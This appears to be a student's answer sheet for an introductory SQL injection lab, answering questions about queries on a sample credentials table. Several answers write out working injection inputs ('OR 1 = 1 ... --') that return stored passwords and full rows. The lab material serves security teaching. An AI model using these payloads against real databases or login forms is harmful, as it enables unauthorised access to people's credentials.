CY201 SQL Injection

4/20/2020 Blaze It

Question 1: What is the email retrieved when the password in 5th step (above) is used?

- John1s@semo.edu

Question 2: What is the email retrieved for the following SQL command:

SELECT email FROM credentials WHERE password = '12233432'

- **Error is returned, no password matches.**

Question 3: What is the data retrieved for the following SQL command:

SELECT * FROM credentials WHERE password = 'harry'

- It returns the id, email, and password for rick@semo.edu, jane@semo.edu, and max@semo.edu

Question 4: What is the data retrieved for the following SQL command:

SELECT password FROM credentials WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ']

- It returns the password 'abcd'

Question 5: Modify above command to increase the limit to 5 and display the output.

- SELECT password FROM credentials WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 5 -- ']

Question 6: Modify above command to include the email address. Hint: "SELECT * FROM..."

- SELECT * FROM credentials WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 5 -- '];
